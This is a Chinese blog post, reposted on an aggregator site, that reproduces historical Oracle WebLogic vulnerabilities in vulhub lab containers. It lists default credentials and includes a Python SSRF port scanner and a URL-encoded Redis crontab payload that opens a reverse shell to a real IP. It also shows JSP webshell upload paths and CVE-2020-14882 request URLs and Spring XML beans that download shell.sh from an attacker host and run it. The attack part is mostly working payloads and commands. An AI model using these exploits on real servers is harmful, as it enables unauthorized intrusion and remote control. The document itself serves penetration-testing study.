weblogic历史漏洞

news/2024/11/14 12:30:04/文章来源:https://www.cnblogs.com/left-shoulder/p/18545731

weblogic历史漏洞

是什么?

 weblogic是一个web服务器应用(中间件),和jboss一样都是javaee中间件,只能识别java语言,绝大部分漏洞都是T3反序列化漏洞

 常见的中间件还有:Apache,nginx,IIS,tomact,weblogic,jboss等

默认端口:7001
Web界面:Error 404 -- Not Found
控制后台:http://ip:7001/console

漏洞复现

1.弱口令+上传war包

 环境:/vulhub/weblogic/weak_password

# 创建
docker-compose up -d
  1. 访问:http://your-ip:7001可以发现weblogic版本为10.4.5
image-20241103191038011
  1. 访问 http://your-ip:7001/console 用户名:weblogic/密码:weblogic
# weblogic默认弱口令
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
  1. 选择部署 --> 安装 --> 上载文件 --> 上传war包
image-20241103192127353
# 打包成war包
jar -cvf cmd.war cmd.jsp
  1. 最后访问http://your-ip:7001/cmd/cmd.jsp即可,蚁剑连接。
image-20241103222216466

2.CVE-2014-4210(ssrf)

  1. 访问/uddiexplorer/SearchPublicRegistries.jsp这个路径,存在未授权
image-20241104160741266
  1. 在Search by business name中随便输入,bp抓包。
image-20241104160926209
  1. 修改operator参数的值为127.0.0.1:7001,发现返回404,因为目标是Weblogic服务,让Weblogic向自己的7001端口发出请求,相当于访问your-ip:7001这个页面,页面本身返回404 Not found,说明这里存在SSRF
image-20241104161102650
  1. docker查看两个容器的网段
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-weblogic-1") | .value.IPv4Address'docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-redis-1") | .value.IPv4Address'
image-20241104164433211
  1. 可以利用ssrf探测内网,改为127.22.0.2:6379会返回did not have a valid SOAP(说明是非http协议),说明这个ip开放了redis服务
image-20241104163734881
  • 也可以利用脚本探测
# 探测脚本
import contextlib
import itertools
import requests
url = "http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp"ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]for i, port in itertools.product(range(1, 255), ports):params = dict(rdoSearch="name",txtSearchname="sdf",selfor="Business+location",btnSubmit="Search",operator=f"http://172.22.0.{i}:{port}",)with contextlib.suppress(Exception):r = requests.get(url, params=params, timeout = 3)# print(r.text)if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:print(f'[*] http://172.22.0.{i}:{port}')
image-20241106163711062
  1. 通过反弹shell攻击redis服务
# 目标:172.22.0.2:6379set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0
>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
  • 对以上进行URL编码,替换到参数中
http%3A%2F%2F172%2E28%2E0%2E2%3A6379%2Ftest%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%2
00%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2F
tcp%2F124%2E71%2E45%2E28%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%
2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  • 看到成功执行
image-20241106181216357
  • 攻击机监听1234端口即可反弹shell!

CVE-2018-2894(任意文件上传)

	在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。影响范围:10.3.6.012.1.3.012.2.1.212.2.1.3

 如果能访问/ws_utc/config.do则存在漏洞

image-20241114115445258
手动利用:
  1. 访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为:
# 将目录设置为`ws_utc`应用的静态文件css目录,访问这个目录是无需权限的/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
image-20241114115851192
  1. 点击安全 -- 添加 -- 在Keystore文件处,上传Webshell(jsp木马)
image-20241114120423412
  1. 访问webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
image-20241114120858116
  1. 蚁剑连接成功!
image-20241114120951461

 可以看见我们上传的木马,最终保存在

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/config/keystore/
image-20241114121327896
自动化脚本:

https://github.com/LandGrey/CVE-2018-2894

CVE-2019-2725

  • 利用java反序列化进行攻击,可以实现远程代码执行(vulhub靶场对应的是CVE-2017-10271)
  • 影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
  1. 判断:通过访问路径/_async/AsyncResponseService 判断对应组件是否开启
image-20241108135848572
  1. 脚本利用:
# 下载,里面有一个weblogic-2019-2725.py脚本
git clone https://github.com/TopScrew/CVE-2019-2725# 使用脚本--命令执行
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001 
whoami# 使用脚本--文件上传
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
  • 命令执行
image-20241108141106045
  • 文件上传(如果weblogic部署在linux上,改动红框的命令即可)
image-20241108141157970

CVE-2020-14882

	CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

 判断漏洞是否存在(CVE-2020-14882),访问如下URL,可未授权访问到管理后台页面,但是是低权限用户

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
image-20241114085114336

 进一步利用方式有两种:

一.通过com.tangosol.coherence.mvel2.sh.ShellSession
局限:这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
  1. 验证是否命令执行:在tmp目录下创建success文件夹

    image-20241114090233451
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('touch%20/tmp/success');")
  • 看到成功创建
image-20241114090028199
  1. 反弹shell
  • 创建shell.sh放在攻击机上,并用python开启http服务
# 创建一个文件夹保存shell.sh
mkdir poc# 进入文件夹
cd poc# 将反弹shell语句写入shell.sh
echo "/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1" > shell.sh# python3开启http服务,这样靶机就能下载攻击机的文件
python3 -m http.server
image-20241114093304368
  • 回到靶机执行以下命令(意思是使靶机下载shell.sh并保存到本地的/tmp目录下)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('curl%20http://攻击机ip:8000/shell.sh%20-o%20/tmp/shell.sh');")
image-20241114094050186
  • 可以看到靶机/tmp目录下出现了shell.sh
image-20241114094204679
  • 执行以下命令,目的是运行shell.sh脚本文件,并且监听攻击机的6666端口
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('bash%20/tmp/shell.sh');")
image-20241114094649871
  • 可以看到shell反弹成功!
image-20241114094831858
二.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
  1. 在攻击机poc文件夹下构造shell.xml,作用还是让靶机下载刚刚的shell.sh到/tmp目录下,只不过这次命令换成了文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[curl 攻击机ip:8000/shell.sh -o /tmp/shell.sh]]></value></list></constructor-arg></bean>
</beans>
  1. 在攻击机poc文件夹下构造bash.xml,作用是使靶机执行shell脚本,shell脚本里是反弹shell命令
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash /tmp/shell.sh]]></value></list></constructor-arg></bean>
</beans>
  • shell.sh shell.xml bash.xml都应该在同一目录下,再开启http服务
python3 -m http.server
image-20241114113925604
  1. 靶机执行以下命令:用来下载shell.xml文件,这时shell.xml就会执行curl命令来下载shell.sh脚本,靶机的/tmp就会存在shell.sh
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/shell.xml")
image-20241114113233059
  1. 靶机执行以下命令:用来执行shell.sh脚本反弹shell(在这一步前攻击机监听6666端口)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/bash.xml")
image-20241114113357157
  • 成功!
image-20241114114229357

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833368.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Z-Library 入口官方国内最新可用网址(2024持续更新)

Z-Library(简称 Z-Lib,前身为 BookFinder )是全球最大的电子图书馆之一,拥有1046万本书和8484万篇文章。Z-Library从2009年开始提供免费的电子书,至今遭遇了多次封锁,从2024年5月份也停止了国内的任何宣传渠道。所以便出现了很多Z-Library虚假域名(钓鱼网站),本文持续…

OVB

Homura 还在熟睡。 Madoka \(\text{[数据删除]}\)。“Homura 酱,快起床了。” “你看你看,这个是什么。” Madoka 指了指 Homura 的脖子下面。 Homura 醒了。 Madoka 指着的地方有一些黑黑的东西。 “看看这里写的什么,我 是 b a k a。” “啊啊啊啊啊,Madoka,你在干什么啊…

代码随想录算法训练营 | 200.岛屿的数量

岛屿的数量题目链接:https://leetcode.cn/problems/number-of-islands/此题目要点:dfs和bfs都可以解决此题,但是使用dfs代码会更加的简洁首先对grid进行遍历,每一个节点都进行检查,判断是否是1(陆地) 如果是,则进行dfs深搜,并将所有搜到的岛屿节点全置为0,表示此块岛…

5倍提升工作效率,智能合同审查开源系统助力律师行业智能化

一、系统概述 在法律行业,律师和法务人员每天需要处理大量的法律文件和复杂的案件信息。然而,手工分析和关联文档信息既耗时,又容易导致遗漏和错误。为此,我们推出了一款专为法律行业打造的开源免费软件,利用关系抽取算法和深度学习技术,支持自动识别底稿文档中的当事人、…

神经网络架构参考:2-2 卷积篇

densenet 结构层名称 类型 输入大小 (H x W x C) 输出大小 (H x W x C) 核尺寸 步长 参数数量Initial Conv Conv2D 224 x 224 x 3 112 x 112 x 64 7 x 7 2 9,408Max Pooling MaxPool2D 112 x 112 x 64 56 x 56 x 64 3 x 3 2 0Dense Block 1 Composite 56 x 56 x 64 56 x 56 x 2…

数据库字段设置非空, phalcon创建数据验证不通过

在使用phalcon的insert和update功能时,因为数据库所有的字段设置的都是NOT NULL,而phalcon的model在插入或更新之前会自动判断字段是否需要必填,因此导致有空字段时无法存入。 开始遇到这问题时,想到两种解决方法: 一、改数据库字段,把NOT NULL改为可以为空。但该数据库还…

2024年11月中国数据库排行榜:OB连续四月居榜首,腾讯云TDSQL升第九

11月墨天轮排行榜解读新鲜出炉!榜单前五稳中求进,OceanBase连续四月居榜首,第六至十位竞争加剧,此外亦有部分产品焕发活力,一起来看更多排名情况与解读!11月墨天轮社区的中国数据库流行度排行榜已更新,本期共有226个数据库产品参与,相较于年初的292个数据库,产品阵容已…

cmu15545笔记-索引并发控制(Concurrent Indexes)

目录OverviewLock和Latch辨析设计目标大致分类Hash Table LatchesPage LatchesSlot LatchesB+Tree Latches并发问题Latch Crabbing/CoupingOptimistic Coupling(乐观锁)Leaf Node Scan Overview Lock和Latch辨析Lock:抽象的,逻辑的,整体统筹 Latch:具体的,原语性的,自我…

cmu15545笔记:索引并发控制(Concurrent Indexes)

目录OverviewLock和Latch辨析设计目标大致分类Hash Table LatchesPage LatchesSlot LatchesB+Tree Latches并发问题Latch Crabbing/CoupingOptimistic Coupling(乐观锁)Leaf Node Scan Overview Lock和Latch辨析Lock:抽象的,逻辑的,整体统筹 Latch:具体的,原语性的,自我…

cmu15545-索引并发控制(Concurrent Indexes)

目录OverviewLock和Latch辨析设计目标大致分类Hash Table LatchesPage LatchesSlot LatchesB+Tree Latches并发问题Latch Crabbing/CoupingOptimistic Coupling(乐观锁)Leaf Node Scan Overview Lock和Latch辨析Lock:抽象的,逻辑的,整体统筹 Latch:具体的,原语性的,自我…

向量动态量化

本文介绍向量检索服务DashVector动态量化功能和作用。 背景介绍 量化(Quantization)是向量检索技术中一种常用的优化方法,通过一定程度的精度(召回率)损失,来换取性能的大幅度提升,以及内存占用(索引文件大小)大幅度降低。 向量检索服务DashVector支持向量的动态量化,…

从零到一构建并打包 React + TypeScript + Less组件库教程(一、项目初始化搭建+代码规范集成)

本系列涉及的内容如下:组件库基础搭建,react + ts + less 项目规范,包括但不限于 prettier、eslint、stylelint、husky、lint-staged、commitlint pnpm monorepo + turborepo 集成 gulp + webpack 构建 esm、cjs 和 umd storybook 文档集成此系列不包含发布 npm 和构建 CI 流…